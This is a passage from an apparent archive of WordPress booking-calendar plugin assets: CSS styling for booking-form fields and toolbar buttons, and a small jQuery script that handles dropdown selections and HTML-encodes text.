input[type=time]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=url]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=week]::-moz-placeholder, div.wpbc_container.wpbc_form select::-moz-placeholder, div.wpbc_container.wpbc_form textarea::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=date]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form select::-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form textarea::-moz-placeholder { color: var(--wpbc_form-field-text-color); opacity: 0.5; pointer-events: none; } div.wpbc_container.wpbc_form input[type=date]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=datetime]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=datetime-local]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=email]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=month]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=number]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=password]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=range]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=search]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=tel]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=text]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=time]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=url]:-moz-placeholder, div.wpbc_container.wpbc_form input[type=week]:-moz-placeholder, div.wpbc_container.wpbc_form select:-moz-placeholder, div.wpbc_container.wpbc_form textarea:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=date]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form select:-moz-placeholder, .wp-core-ui div.wpbc_container.wpbc_form textarea:-moz-placeholder { color: var(--wpbc_form-field-text-color); opacity: 0.5; pointer-events: none; } /* --------------------------------------------------------------------------------------------------------------------- * Textarea * ------------------------------------------------------------------------------------------------------------------ */ div.wpbc_container.wpbc_form textarea, .wp-core-ui div.wpbc_container.wpbc_form textarea { width: 100%; } div.wpbc_container.wpbc_form textarea , .wp-core-ui div.wpbc_container.wpbc_form textarea { line-height: 1.3; min-height: var(--wpbc_form-field-size-input-height); padding: var(--wpbc_form-field-size-padding-h); resize: vertical; } /* --------------------------------------------------------------------------------------------------------------------- * General Height * ------------------------------------------------------------------------------------------------------------------ */ div.wpbc_container.wpbc_form input, div.wpbc_container.wpbc_form select, .wp-core-ui div.wpbc_container.wpbc_form input, .wp-core-ui div.wpbc_container.wpbc_form select { height: var(--wpbc_form-field-size-input-height); } /* --------------------------------------------------------------------------------------------------------------------- * Select * ------------------------------------------------------------------------------------------------------------------ */ div.wpbc_container.wpbc_form select, .wp-core-ui div.wpbc_container.wpbc_form select { appearance: none; display: block; max-width: 100%; width: 100%; text-transform: none; text-shadow: none; white-space: nowrap; line-height: unset; padding-block: 0; padding-inline-end: 24px; padding-inline-start: 12px; min-height: var(--wpbc_form-field-size-input-height); vertical-align: middle; cursor: pointer; } div.wpbc_container.wpbc_form select, div.wpbc_container.wpbc_form select:disabled, .wp-core-ui div.wpbc_container.wpbc_form select, .wp-core-ui div.wpbc_container.wpbc_form select:disabled { /* background-image: linear-gradient(45deg, transparent 50%, var(--wpbc_form-field-border-color-spare) 50%), linear-gradient(135deg, var(--wpbc_form-field-border-color-spare) 50%, transparent 50%); background-position: calc( 100% - 17px) 50%, calc( 100% - 12px) 50%; background-size: 5px 5px, 5px 5px; background-repeat: no-repeat; */ background-image: var(--wpbc_form-select-bg-img),none; background-repeat: no-repeat; background-position: calc( 100% - 11px) 50%, calc( 100% - 12px) 50%; background-size: 16px 12px; } .rtl div.wpbc_container.wpbc_form select, .rtl div.wpbc_container.wpbc_form select:disabled, .rtl .wp-core-ui div.wpbc_container.wpbc_form select, .rtl .wp-core-ui div.wpbc_container.wpbc_form select:disabled { background-position: 12px 50%, 17px 50%; } div.wpbc_container.wpbc_form select > option, .wp-core-ui div.wpbc_container.wpbc_form select > option { color: var(--wpbc_form-field-text-color); } div.wpbc_container.wpbc_form select > option.placeholder, div.wpbc_container.wpbc_form select > option[disabled], .wp-core-ui div.wpbc_container.wpbc_form select > option.placeholder, .wp-core-ui div.wpbc_container.wpbc_form select > option[disabled] { color: var(--wpbc_form-field-disabled-color); /*FixIn: 10.2.3.1 */ opacity: 0.5; } div.wpbc_container.wpbc_form select:not([multiple]) > option, .wp-core-ui div.wpbc_container.wpbc_form select:not([multiple]) > option { background: var(--wpbc_form-field-menu-color); } div.wpbc_container.wpbc_form select:not([multiple]) > option:not(.placeholder):checked, .wp-core-ui div.wpbc_container.wpbc_form select:not([multiple]) > option:not(.placeholder):checked { font-weight: bold; } div.wpbc_container.wpbc_form select[multiple], .wp-core-ui div.wpbc_container.wpbc_form select[multiple] { height: auto; overflow-y: scroll; background-image: none; } div.wpbc_container.wpbc_form select[multiple] > option:not(.placeholder):checked, .wp-core-ui div.wpbc_container.wpbc_form select[multiple] > option:not(.placeholder):checked { background: var(--wpbc_form-button-background-color); color: var(--wpbc_form-button-text-color-alt, var(--wpbc_form-button-text-color)); } div.wpbc_container.wpbc_form input[type=number]:read-only, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:read-only { appearance: textfield; -moz-appearance: textfield; -webkit-appearance: textfield; } div.wpbc_container.wpbc_form input[type=number]:read-only::-webkit-inner-spin-button, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:read-only::-webkit-inner-spin-button { visibility: hidden; } /* --------------------------------------------------------------------------------------------------------------------- * Submit * ------------------------------------------------------------------------------------------------------------------ */ div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ), div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ), .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ), .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ) { height: var(--wpbc_form-button-size-height); background-color: var(--wpbc_form-button-background-color-alt, var(--wpbc_form-button-background-color)); border-radius: var(--wpbc_form-button-border-radius); border-style: var(--wpbc_form-button-border-style); border-color: var(--wpbc_form-button-border-color); border-width: var(--wpbc_form-button-border-size); box-shadow: none; color: var(--wpbc_form-button-text-color); padding: 0 var(--wpbc_form-button-size-padding-h); font-family: inherit; font-weight: 500; font-size: var(--wpbc_form-button-size-font-size); line-height: 100%; cursor: pointer; transition: all 0.15s ease-in-out; position: relative; text-decoration: none; } div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):not(:hover):not(:active), div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):not(:hover):not(:active), .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):not(:hover):not(:active), .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):not(:hover):not(:active){ background-color: var(--wpbc_form-button-background-color-alt, var(--wpbc_form-button-background-color)); color: var(--wpbc_form-button-text-color); } div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):hover, div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):active, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):hover, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):active, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):hover, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):active, .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):hover, .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):active { background: linear-gradient(0deg, rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2)), var(--wpbc_form-button-background-color-alt, var(--wpbc_form-button-background-color)); } div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):focus, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):focus, .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):focus { outline: none; } div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):focus:after, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):focus:after, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):focus:after, .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):focus:after{ content: ""; position: absolute; border: 2px solid var(--wpbc_form-button-background-color); border-radius: calc( var( --wpbc_form-button-border-radius ) + 2px); top: calc( -4px - var( --wpbc_form-button-border-size, 1px )); right: calc( -4px - var( --wpbc_form-button-border-size, 1px )); bottom: calc( -4px - var( --wpbc_form-button-border-size, 1px )); left: calc( -4px - var( --wpbc_form-button-border-size, 1px )); } div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):disabled, div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):disabled:hover, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):disabled, div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):disabled:hover, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):disabled, .wp-core-ui div.wpbc_container.wpbc_form input[type=submit]:not(.wpbc_button_light ):disabled:hover, .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):disabled, .wp-core-ui div.wpbc_container.wpbc_form button[type=submit]:not(.wpbc_button_light ):disabled:hover { background-color: var(--wpbc_form-button-background-color-alt, var(--wpbc_form-button-background-color)); cursor: default; } /* --------------------------------------------------------------------------------------------------------------------- * Radio and Checkboxes * ------------------------------------------------------------------------------------------------------------------ */ div.wpbc_container.wpbc_form input[type=checkbox], div.wpbc_container.wpbc_form input[type=radio] { position: relative; display: inline-block; background: none; height: calc( var( --wpbc_form-field-size-checkbox-size ) - 2px + calc( var( --wpbc_form-field-border-size, 1px ) * 2 )); width: calc( var( --wpbc_form-field-size-checkbox-size ) - 2px + calc( var( --wpbc_form-field-border-size, 1px ) * 2 )); margin: 0 0 0 2px; border: none; box-shadow: none; vertical-align: middle; opacity: 1; appearance: none; } div.wpbc_container.wpbc_form input[type=checkbox]:before, div.wpbc_container.wpbc_form input[type=checkbox]:after, div.wpbc_container.wpbc_form input[type=radio]:before, div.wpbc_container.wpbc_form input[type=radio]:after { content: ''; position: absolute; left: -2px; top: 0; width: var(--wpbc_form-field-size-checkbox-size); height: var(--wpbc_form-field-size-checkbox-size); box-sizing: content-box; cursor: pointer; } div.wpbc_container.wpbc_form input[type=checkbox]:before, div.wpbc_container.wpbc_form input[type=radio]:before { border-width: var(--wpbc_form-field-border-size); border-style: var(--wpbc_form-field-border-style); border-color: var(--wpbc_form-field-border-color); background-color: var(--wpbc_form-field-background-color); background-clip: padding-box; background-image: none; border-radius: 3px; } div.wpbc_container.wpbc_form input[type=checkbox] + label, div.wpbc_container.wpbc_form input[type=radio] + label, div.wpbc_container.wpbc_form .wpdev-list-item > input[type=checkbox] + .wpdev-list-item-label, div.wpbc_container.wpbc_form .wpdev-list-item > input[type=radio] + .wpdev-list-item-label{ display: inline; position: relative; padding-inline-start: var(--wpbc_form-padding-between-label-checkbox-radio); font-size: var(--wpbc_form-label-size-font-size); vertical-align: middle; } div.wpbc_container.wpbc_form input[type=checkbox] + label, div.wpbc_container.wpbc_form input[type=radio] + label{ cursor: pointer; } div.wpbc_container.wpbc_form .wpdev-list-item > .wpdev-list-item-label:first-child{ display: inline; position: relative; padding-inline-end: var(--wpbc_form-padding-between-label-checkbox-radio); font-size: var(--wpbc_form-label-size-font-size); vertical-align: middle; } div.wpbc_container.wpbc_form .wpdev-list-item > label.wpdev-list-item-label:first-child{ cursor: pointer; } div.wpbc_container.wpbc_form .wpdev-list-item > .wpdev-list-item-label >input[type=checkbox], div.wpbc_container.wpbc_form .wpdev-list-item > .wpdev-list-item-label >input[type=radio] { margin-left:var(--wpbc_form-padding-between-label-checkbox-radio); margin-right:var(--wpbc_form-padding-between-label-checkbox-radio); } div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item, div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item{ margin-right: var(--wpbc_form-marging-between-several-checkbox-radio); } div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item:last-child, div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item:last-child{ margin-right: 0; } .rtl div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item, .rtl div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item{ margin-left: var(--wpbc_form-marging-between-several-checkbox-radio); } .rtl div.wpbc_container.wpbc_form .wpdev-checkbox .wpdev-list-item:first-child, .rtl div.wpbc_container.wpbc_form .wpdev-radio .wpdev-list-item:first-child{ margin-left: 0; } div.wpbc_container.wpbc_form input[type=checkbox]:checked:before, div.wpbc_container.wpbc_form input[type=radio]:checked:before { margin: 0; border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-button-background-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-button-background-color), 0px 1px 2px rgba(0, 0, 0, 0.15); outline: none; } div.wpbc_container.wpbc_form input[type=checkbox]:focus, div.wpbc_container.wpbc_form input[type=radio]:focus { outline: none; } div.wpbc_container.wpbc_form input[type=checkbox]:focus:before, div.wpbc_container.wpbc_form input[type=radio]:focus:before { border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-button-background-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-button-background-color), 0px 1px 2px rgba(0, 0, 0, 0.15); outline: none; } div.wpbc_container.wpbc_form input[type=checkbox]:checked:after { border-top: none; border-right: none; height: calc( var( --wpbc_form-field-size-checkbox-size ) * 0.6); border-left: 4px solid var(--wpbc_form-button-background-color); border-bottom: 4px solid var(--wpbc_form-button-background-color); background-color: transparent; transform: translate(0, 1px) scale(0.5) rotate(-45deg); left: calc( -4px + var( --wpbc_form-field-border-size, 1px )); top: calc( -1px + var( --wpbc_form-field-border-size, 1px )); } div.wpbc_container.wpbc_form input[type=radio] { border-radius: 50%; } div.wpbc_container.wpbc_form input[type=radio]:before { border-radius: 50%; } div.wpbc_container.wpbc_form input[type=radio]:checked:after { border: 1px solid transparent; border-radius: 50%; background-color: var(--wpbc_form-button-background-color); transform: scale(0.5); -moz-transform: scale(0.47); left: calc( -3px + var( --wpbc_form-field-border-size, 1px )); top: calc( -1px + var( --wpbc_form-field-border-size, 1px )); } /* --------------------------------------------------------------------------------------------------------------------- * Errors * ------------------------------------------------------------------------------------------------------------------ */ div.wpbc_container.wpbc_form.wpbc_container_booking_form label.wpbc_form_field_error, div.wpbc_container.wpbc_form.wpbc_container_booking_form span.wpbc_form_field_error { font-weight: 400; font-size: var(--wpbc_form-label-size-sublabel-font-size); line-height: var(--wpbc_form-label-size-sublabel-line-height); margin-top: var(--wpbc_form-field-size-input-spacing); color: var(--wpbc_form-label-error-color); padding: 0 0 0 5px; position: relative; } div.wpbc_container.wpbc_form.wpbc_container_booking_form input.wpbc_form_field_error, div.wpbc_container.wpbc_form.wpbc_container_booking_form textarea.wpbc_form_field_error, div.wpbc_container.wpbc_form.wpbc_container_booking_form select.wpbc_form_field_error{ border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-label-error-color); } div.wpbc_container.wpbc_form.wpbc_container_booking_form input.wpbc_form_field_error:hover, div.wpbc_container.wpbc_form.wpbc_container_booking_form textarea.wpbc_form_field_error:hover, div.wpbc_container.wpbc_form.wpbc_container_booking_form select.wpbc_form_field_error:hover{ border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-label-error-color); box-shadow: 0 0 2px 0 var(--wpbc_form-label-error-color); } div.wpbc_container.wpbc_form.wpbc_container_booking_form input.wpbc_form_field_error:focus, div.wpbc_container.wpbc_form.wpbc_container_booking_form textarea.wpbc_form_field_error:focus, div.wpbc_container.wpbc_form.wpbc_container_booking_form select.wpbc_form_field_error:focus{ border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-label-error-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-label-error-color); } div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=checkbox].wpbc_form_field_error, div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=radio].wpbc_form_field_error{ border: none; box-shadow: none; } div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=checkbox].wpbc_form_field_error:hover, div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=checkbox].wpbc_form_field_error:focus, div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=radio].wpbc_form_field_error:hover, div.wpbc_container.wpbc_form.wpbc_container_booking_form input[type=radio].wpbc_form_field_error:focus{ border: none; box-shadow: none; } toolbar_ui.js 0000666 00000010517 15165334407 0007261 0 ustar 00 "use strict"; /** * Encode HTML text to safe HTML entities * * Replace all characters in the given range (unicode 00A0 - 9999, as well as ampersand, greater & less than) * with their html entity equivalents, which is simply &#nnn; where nnn is the unicode value we get from charCodeAt * * @param rawStr * @returns {*} */ function wpbc_get_safe_html_text( rawStr ){ var encodedStr = rawStr.replace( /[\u00A0-\u9999<>\&]/g, function ( i ){ return '&#' + i.charCodeAt( 0 ) + ';'; } ); return encodedStr; } /** * Change Value and Title of dropdown after clicking on Apply button * * @param params Example: { 'dropdown_id': 'wh_booking_date', 'dropdown_radio_name': 'ui_wh_booking_date_radio' } */ function wpbc_ui_dropdown_apply_click( params ){ // Get input values of all elements in LI section, where RADIO was selected var filter_ui_dates_arr = jQuery( 'input[name="' + params[ 'dropdown_radio_name' ] + '"]:checked' ) .parents( 'li' ).find( ':input' ) .map( function (){ return wpbc_get_safe_html_text( jQuery( this ).val() ); } ).get(); if ( 0 !== filter_ui_dates_arr.length ){ // Continue only if radio button was selected, and we are having value // Get titles of all elements in LI section, where RADIO was selected var filter_ui_titles_arr = jQuery( 'input[name="' + params[ 'dropdown_radio_name' ] + '"]:checked' ) .parents( 'li' ).find( ':input' ) .map( function (){ if ( 'text' == jQuery( this ).prop( 'type' ) ){ return jQuery( this ).val(); } if ( ( 'selectbox-one' == jQuery( this ).prop( 'type' ) ) || ( 'select-one' == jQuery( this ).prop( 'type' ) ) ){ return jQuery( this ).find( ':selected' ).text(); } if ( ( 'radio' == jQuery( this ).prop( 'type' ) ) || ( 'checkbox' == jQuery( this ).prop( 'type' ) ) ){ var input_selected = jQuery( this ).filter(':checked').next( '.wpbc_ui_control_label' ).html(); if ( undefined == input_selected ) { input_selected = jQuery( this ).filter(':checked').prev( '.wpbc_ui_control_label' ).html(); } return ( undefined !== input_selected ) ? input_selected : ''; } return jQuery( this ).val(); } ).get(); // Update Value to dropdown input hidden elements. Such value stringify. jQuery( '#' + params[ 'dropdown_id' ] ).val( JSON.stringify( filter_ui_dates_arr ) ); // Generate change action, for ability to send Ajax request jQuery( '#' + params[ 'dropdown_id' ] ).trigger( 'change' ); // Get Label of selected Radio button var filter_ui_dates_title = jQuery( 'input[name="' + params[ 'dropdown_radio_name' ] + '"]:checked' ).next( '.wpbc_ui_control_label' ).html() + ': '; // Remove selected value of radio button from beginning, we will use Label title instead filter_ui_titles_arr.shift(); // Update Title in dropdown var encoded_html_text = wpbc_get_safe_html_text( filter_ui_dates_title + filter_ui_titles_arr.join( ' - ' ) ); jQuery( '#' + params[ 'dropdown_id' ] + '_selector .wpbc_selected_in_dropdown' ).html( encoded_html_text ); } jQuery( '#' + params[ 'dropdown_id' ] + '_container' ).hide(); } /** * Close dropdown after clicking on Close button * * @param dropdown_id ID of dropdown */ function wpbc_ui_dropdown_close_click( dropdown_id ){ jQuery( '#' + dropdown_id + '_container' ).hide(); } /** * Simple option click on dropdown * * @param params Example: { 'dropdown_id': 'wh_booking_date', 'is_this_simple_list': true, 'value': '5', '_this': this } */ function wpbc_ui_dropdown_simple_click( params ){ jQuery( '#' + params[ 'dropdown_id' ] + '_selector .wpbc_selected_in_dropdown' ).html( jQuery( params[ '_this' ] ).html() ); jQuery( '#' + params[ 'dropdown_id' ] ).val( JSON.stringify( [params[ 'value' ]] ) ); jQuery( '#' + params[ 'dropdown_id' ] + '_container li input[type=checkbox],' + '#' + params[ 'dropdown_id' ] + '_container li input[type=radio]' ).prop( 'checked', false ); jQuery( '#' + params[ 'dropdown_id' ] ).trigger( 'change' ); if ( ! params[ 'is_this_simple_list' ] ){ jQuery( '#' + params[ 'dropdown_id' ] + '_container' ).hide(); } } toolbar_ui.css 0000666 00000111435 15165334407 0007436 0 ustar 00 /* UI Toolbar *************************************************************************************************/ /* To Compile file: Alt + F12 and run command: "gulp wpbc" */ /* 1. Default Button Style ------------------------------------------------------------------------------------------ */ .ui_element .wpbc_ui_button, .ui_element .wpbc_button_as_icon { display: flex; flex-flow: row nowrap; justify-content: flex-start; align-items: center; text-decoration: none; /*font-size: 13px;*/ /*line-height: 2.15384615; !* 28px *!*/ /*min-height: 30px;*/ min-height: 24px; margin: 0; padding: 0 10px 2px; padding-bottom: 1px; cursor: pointer; /*border-width: 1px; - Defined at Several elements in a Group. Point #2. */ border-style: solid; -webkit-appearance: none; /*border-radius: 3px; - Defined at Several elements in a Group. Point #2. */ white-space: nowrap; box-sizing: border-box; } .ui_element .wpbc_button_as_icon { border:none; } .ui_element .wpbc_ui_button, .ui_element .wpbc_ui_button-secondary { color: #555; border-color: #d8d8d8; background: #f7f7f7; vertical-align: top; } /* :hover ---- */ .ui_element .wpbc_ui_button.hover:not(.inactive), .ui_element .wpbc_ui_button:hover:not(.inactive), .ui_element .wpbc_ui_button-secondary:hover:not(.inactive){ background: #fafafa; border-color: #d8d8d8;; color: #23282d; text-decoration: none; } .ui_element .wpbc_ui_button.hover.inactive, .ui_element .wpbc_ui_button.inactive:hover, .ui_element .wpbc_ui_button-secondary.inactive:hover{ cursor: default; } /* :focus ---- */ .ui_element .wpbc_ui_button.focus, .ui_element .wpbc_ui_button:focus, .ui_element .wpbc_ui_button-secondary:focus { background: #fafafa; border-color: #d8d8d8; color: #23282d; /*box-shadow: 0 0 0 1px #4f94d4, 0 0 2px 1px rgba(79, 148, 212, 0.8); This is Default: WordPress */ box-shadow: 0 0 0 0px #4f94d4, 0 0 1px 1px rgba(79, 148, 212, 0.8); z-index: 1; text-decoration: none; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; /* Reset inherited offset from Gutenberg */ outline-offset: 0; } /* :active ---- */ .wpbc_ui_dropdown.open > .wpbc_ui_button:not(.inactive), .ui_element .wpbc_ui_button:active:not(.inactive), .ui_element .wpbc_ui_button-secondary:active:not(.inactive) { background: #f6f7f7; border-color: #d8d8d8; box-shadow: inset 0 1px 7px -3px rgba(0, 0, 0, .3); transform: translateY(1px); outline: 0; text-decoration: none; } /* :disabled ---- */ .ui_element .wpbc_ui_button:disabled, .ui_element .wpbc_ui_button[disabled], .ui_element.disabled .wpbc_ui_button, .ui_element .wpbc_ui_button.disabled, .ui_element .wpbc_ui_button-secondary[disabled], .ui_element .wpbc_ui_button-secondary:disabled, .ui_element .wpbc_ui_button-secondary.disabled, .ui_element .wpbc_ui_button-disabled { color: #a7aaad !important; border-color: #dcdcde !important; background: #f6f7f7 !important; box-shadow: none !important; cursor: default; transform: none !important; } /* .active CLASS - pressed button, pressed state e.g. a selected setting */ .ui_element .wpbc_ui_button.active:not(.inactive), .ui_element .wpbc_ui_button.active:hover:not(.inactive) { background: #f6f7f7; border-color: #d8d8d8; box-shadow: inset 0 1px 7px -3px rgba(0, 0, 0, .3); transform: translateY(1px); outline: 0; text-decoration: none; } .ui_element .wpbc_ui_button.active:focus:not(.inactive) { border-color: #3582c4; box-shadow:inset 0 1px 5px -3px #0a4b78, 0 0 1px 1px rgba(79, 148, 212, 0.1); } /* 2. Primary Button Style ----------------------------------------------------------------------------------------- */ .ui_element .wpbc_ui_button_primary { background: #0085ba; border-color: #0073aa #006799 #006799; color: #fff; text-shadow: 0 -1px 1px #006799, 1px 0 1px #006799, 0 1px 1px #006799, -1px 0 1px #006799; text-decoration: none; box-shadow: 0 1px 0px #f1f1f1; /*background: #2271b1;*/ /*border-color: #2271b1;*/ /*color: #fff;*/ /*text-decoration: none;*/ /*text-shadow: none;*/ } /* :hover, :focus ---- */ .ui_element .wpbc_ui_button_primary.hover:not(.inactive), .ui_element .wpbc_ui_button_primary:hover:not(.inactive), .ui_element .wpbc_ui_button_primary.focus:not(.inactive), .ui_element .wpbc_ui_button_primary:focus:not(.inactive) { /*background: #135e96;*/ /*border-color: #135e96;*/ /*color: #fff;*/ background: #008ec2; border-color: #006799; color: #fff; } /* :focus ---- */ .ui_element .wpbc_ui_button_primary.focus:not(.inactive), .ui_element .wpbc_ui_button_primary:focus:not(.inactive) { box-shadow:0 0 0 0px #fff, 0 0 2px 1px #a4d7ff; } /* :active ---- */ .ui_element .wpbc_ui_button_primary.active:not(.inactive), .ui_element .wpbc_ui_button_primary.active:hover:not(.inactive), .ui_element .wpbc_ui_button_primary.active:focus:not(.inactive), .ui_element .wpbc_ui_button_primary:active:not(.inactive) { background: #0c7ca8; border-color: #0b79a4; box-shadow: inset 0 1px 7px -3px rgba(0, 0, 0, .3); color: #fff; } /* :disabled ---- */ .ui_element .wpbc_ui_button_primary[disabled], .ui_element .wpbc_ui_button_primary:disabled, .ui_element .wpbc_ui_button_primary-disabled, .ui_element .wpbc_ui_button_primary.disabled { color: #a7aaad !important; background: #f6f7f7 !important; border-color: #dcdcde !important; box-shadow: none !important; text-shadow: none !important; cursor: default; } /* 2.1 Danger (Red) Button Style ----------------------------------------------------------------------------------------- */ .ui_element .wpbc_ui_button_danger { background: #de605c; border-color: #c05d5a; color: #f7f7f7; text-shadow: 0 0px #ba5956; text-decoration: none; box-shadow: 0 1px 0px #f1f1f1; } /* :hover, :focus ---- */ .ui_element .wpbc_ui_button_danger.hover:not(.inactive), .ui_element .wpbc_ui_button_danger:hover:not(.inactive), .ui_element .wpbc_ui_button_danger.focus:not(.inactive), .ui_element .wpbc_ui_button_danger:focus:not(.inactive) { background: #e6716f; border-color: #d58582; color: #fdfdfd; text-shadow: none; } /* :focus ---- */ .ui_element .wpbc_ui_button_danger.focus:not(.inactive), .ui_element .wpbc_ui_button_danger:focus:not(.inactive) { box-shadow:0 0 0 0px #fff, 0 0 2px 1px #a4d7ff; } /* :active ---- */ .ui_element .wpbc_ui_button_danger.active:not(.inactive), .ui_element .wpbc_ui_button_danger.active:hover:not(.inactive), .ui_element .wpbc_ui_button_danger.active:focus:not(.inactive), .ui_element .wpbc_ui_button_danger:active:not(.inactive) { background: #ba4c48; border-color: #c05d5a; box-shadow: inset 0 1px 7px -3px rgba(0, 0, 0, .1); color: #f3f2f2; } /* :disabled ---- */ .ui_element .wpbc_ui_button_danger[disabled], .ui_element .wpbc_ui_button_danger:disabled, .ui_element .wpbc_ui_button_danger-disabled, .ui_element .wpbc_ui_button_danger.disabled { color: #a7aaad !important; background: #f6f7f7 !important; border-color: #dcdcde !important; box-shadow: none !important; text-shadow: none !important; cursor: default; } @media (max-width: 782px) { .ui_element .in-button-text { display: none; } } /* 3.1 Text --------------------------------------------------------------------------------------------------------- */ .ui_element .wpbc_ui_text { border: 1px solid #d6d6d6; flex: 1 1 120px; } /* :focus ---- */ .ui_element .wpbc_ui_text.focus, .ui_element .wpbc_ui_text:focus { border-color: #2271b1; box-shadow: 0 0 0 1px #2271b1; border-color: #d8d8d8; /*box-shadow: 0 0 0 1px #4f94d4, 0 0 2px 1px rgba(79, 148, 212, 0.8); This is Default: WordPress */ 